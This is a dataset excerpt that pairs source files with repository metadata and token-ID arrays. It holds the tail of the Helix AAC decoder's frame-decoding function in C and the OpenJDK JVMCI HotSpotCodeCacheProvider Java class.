AAC_ID_CPE) { if (StereoProcess(aacDecInfo)) return ERR_AAC_STEREO_PROCESS; } PROFILE_END(); /* PNS, TNS, inverse transform */ for (ch = 0; ch < elementChans; ch++) { PROFILE_START("PNS"); if (PNS(aacDecInfo, ch)) return ERR_AAC_PNS; PROFILE_END(); if (aacDecInfo->sbDeinterleaveReqd[ch]) { /* deinterleave short blocks, if required */ if (DeinterleaveShortBlocks(aacDecInfo, ch)) return ERR_AAC_SHORT_BLOCK_DEINT; aacDecInfo->sbDeinterleaveReqd[ch] = 0; } PROFILE_START("TNS"); if (TNSFilter(aacDecInfo, ch)) return ERR_AAC_TNS; PROFILE_END(); PROFILE_START("IMDCT"); if (IMDCT(aacDecInfo, ch, baseChan + ch, outbuf)) return ERR_AAC_IMDCT; PROFILE_END(); } #ifdef AAC_ENABLE_SBR if (aacDecInfo->sbrEnabled && (aacDecInfo->currBlockID == AAC_ID_FIL || aacDecInfo->currBlockID == AAC_ID_LFE)) { if (aacDecInfo->currBlockID == AAC_ID_LFE) elementChansSBR = elementNumChans[AAC_ID_LFE]; else if (aacDecInfo->currBlockID == AAC_ID_FIL && (aacDecInfo->prevBlockID == AAC_ID_SCE || aacDecInfo->prevBlockID == AAC_ID_CPE)) elementChansSBR = elementNumChans[aacDecInfo->prevBlockID]; else elementChansSBR = 0; if (baseChanSBR + elementChansSBR > AAC_MAX_NCHANS) return ERR_AAC_SBR_NCHANS_TOO_HIGH; /* parse SBR extension data if present (contained in a fill element) */ if (DecodeSBRBitstream(aacDecInfo, baseChanSBR)) return ERR_AAC_SBR_BITSTREAM; /* apply SBR */ if (DecodeSBRData(aacDecInfo, baseChanSBR, outbuf)) return ERR_AAC_SBR_DATA; baseChanSBR += elementChansSBR; } #endif baseChan += elementChans; } while (aacDecInfo->currBlockID != AAC_ID_END); /* byte align after each raw_data_block */ if (bitOffset) { inptr++; bitsAvail -= (8-bitOffset); bitOffset = 0; if (bitsAvail < 0) return ERR_AAC_INDATA_UNDERFLOW; } /* update pointers */ aacDecInfo->frameCount++; *bytesLeft -= (inptr - *inbuf); *inbuf = inptr; return ERR_AAC_NONE; }
miragecentury/M2_SE_RTOS_Project
Project/LPC1549_Keil/CycloneTCP_SSL_Crypto_Open_1_6_4/demo/common/helix/aac_decoder/aacdec.c
C
mit
14,748
[ 30522, 1013, 1008, 1008, 1008, 1008, 1008, 1008, 4088, 6105, 3796, 1008, 1008, 1008, 1008, 1008, 1008, 3120, 2197, 6310, 1024, 1002, 8909, 1024, 9779, 19797, 8586, 1012, 1039, 1010, 1058, 1015, 1012, 1015, 2384, 1013, 6185, 1013, 2656, 58...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * Copyright (c) 2013, 2019, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package jdk.vm.ci.hotspot; import java.util.Map; import java.util.Objects; import jdk.vm.ci.code.BailoutException; import jdk.vm.ci.code.BytecodeFrame; import jdk.vm.ci.code.CodeCacheProvider; import jdk.vm.ci.code.CompiledCode; import jdk.vm.ci.code.InstalledCode; import jdk.vm.ci.code.RegisterConfig; import jdk.vm.ci.code.TargetDescription; import jdk.vm.ci.code.site.Call; import jdk.vm.ci.code.site.Mark; import jdk.vm.ci.meta.ResolvedJavaMethod; import jdk.vm.ci.meta.SpeculationLog; /** * HotSpot implementation of {@link CodeCacheProvider}. */ public class HotSpotCodeCacheProvider implements CodeCacheProvider { protected final HotSpotJVMCIRuntime runtime; private final HotSpotVMConfig config; protected final TargetDescription target; protected final RegisterConfig regConfig; public HotSpotCodeCacheProvider(HotSpotJVMCIRuntime runtime, TargetDescription target, RegisterConfig regConfig) { this.runtime = runtime; this.config = runtime.getConfig(); this.target = target; this.regConfig = regConfig; } @Override public String getMarkName(Mark mark) { int markId = (int) mark.id; HotSpotVMConfigStore store = runtime.getConfigStore(); for (Map.Entry<String, Long> e : store.getConstants().entrySet()) { String name = e.getKey(); if (name.startsWith("MARKID_") && e.getValue() == markId) { return name; } } return CodeCacheProvider.super.getMarkName(mark); } /** * Decodes a call target to a mnemonic if possible. */ @Override public String getTargetName(Call call) { if (call.target instanceof HotSpotForeignCallTarget) { long address = ((HotSpotForeignCallTarget) call.target).address; HotSpotVMConfigStore store = runtime.getConfigStore(); for (Map.Entry<String, VMField> e : store.getFields().entrySet()) { VMField field = e.getValue(); if (field.isStatic() && field.value != null && field.value instanceof Long && ((Long) field.value) == address) { return e.getValue() + ":0x" + Long.toHexString(address); } } } return CodeCacheProvider.super.getTargetName(call); } @Override public RegisterConfig getRegisterConfig() { return regConfig; } @Override public int getMinimumOutgoingSize() { return config.runtimeCallStackSize; } private InstalledCode logOrDump(InstalledCode installedCode, CompiledCode compiledCode) { runtime.notifyInstall(this, installedCode, compiledCode); return installedCode; } @Override public InstalledCode installCode(ResolvedJavaMethod method, CompiledCode compiledCode, InstalledCode installedCode, SpeculationLog log, boolean isDefault) { InstalledCode resultInstalledCode; if (installedCode != null) { throw new IllegalArgumentException("InstalledCode argument must be null"); } HotSpotCompiledCode hsCompiledCode = (HotSpotCompiledCode) compiledCode; String name = hsCompiledCode.getName(); HotSpotCompiledNmethod hsCompiledNmethod = null; if (method == null) { // Must be a stub resultInstalledCode = new HotSpotRuntimeStub(name); } else { hsCompiledNmethod = (HotSpotCompiledNmethod) hsCompiledCode; HotSpotResolvedJavaMethodImpl hsMethod = (HotSpotResolvedJavaMethodImpl) method; resultInstalledCode = new HotSpotNmethod(hsMethod, name, isDefault, hsCompiledNmethod.id); } HotSpotSpeculationLog speculationLog = null; if (log != null) { if (log.hasSpeculations()) { speculationLog = (HotSpotSpeculationLog) log; } } byte[] speculations; long failedSpeculationsAddress; if (speculationLog != null) { speculations = speculationLog.getFlattenedSpeculations(true); failedSpeculationsAddress = speculationLog.getFailedSpeculationsAddress(); } else { speculations = new byte[0]; failedSpeculationsAddress = 0L; } int result = runtime.getCompilerToVM().installCode(target, (HotSpotCompiledCode) compiledCode, resultInstalledCode, failedSpeculationsAddress, speculations); if (result != config.codeInstallResultOk) { String resultDesc = config.getCodeInstallResultDescription(result); if (hsCompiledNmethod != null) { String msg = hsCompiledNmethod.getInstallationFailureMessage(); if (msg != null) { msg = String.format("Code installation failed: %s%n%s", resultDesc, msg); } else { msg = String.format("Code installation failed: %s", resultDesc); } throw new BailoutException(result != config.codeInstallResultDependenciesFailed, msg); } else { throw new BailoutException("Error installing %s: %s", ((HotSpotCompiledCode) compiledCode).getName(), resultDesc); } } return logOrDump(resultInstalledCode, compiledCode); } @Override public void invalidateInstalledCode(InstalledCode installedCode) { if (installedCode instanceof HotSpotNmethod) { runtime.getCompilerToVM().invalidateHotSpotNmethod((HotSpotNmethod) installedCode); } else { throw new IllegalArgumentException("Cannot invalidate a " + Objects.requireNonNull(installedCode).getClass().getName()); } } @Override public TargetDescription getTarget() { return target; } public String disassemble(InstalledCode code) { if (code.isValid()) { return runtime.getCompilerToVM().disassembleCodeBlob(code); } return null; } @Override public SpeculationLog createSpeculationLog() { return new HotSpotSpeculationLog(); } @Override public long getMaxCallTargetOffset(long address) { return runtime.getCompilerToVM().getMaxCallTargetOffset(address); } @Override public boolean shouldDebugNonSafepoints() { return runtime.getCompilerToVM().shouldDebugNonSafepoints(); } public int interpreterFrameSize(BytecodeFrame pos) { return runtime.getCompilerToVM().interpreterFrameSize(pos); } /** * Resets all compilation statistics. */ public void resetCompilationStatistics() { runtime.getCompilerToVM().resetCompilationStatistics(); } }
md-5/jdk10
src/jdk.internal.vm.ci/share/classes/jdk.vm.ci.hotspot/src/jdk/vm/ci/hotspot/HotSpotCodeCacheProvider.java
Java
gpl-2.0
7,742
[ 30522, 1013, 1008, 1008, 9385, 1006, 1039, 1007, 2286, 1010, 10476, 1010, 14721, 1998, 1013, 2030, 2049, 18460, 1012, 2035, 2916, 9235, 1012, 1008, 2079, 2025, 11477, 2030, 6366, 9385, 14444, 2030, 2023, 5371, 20346, 1012, 1008, 1008, 2023,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...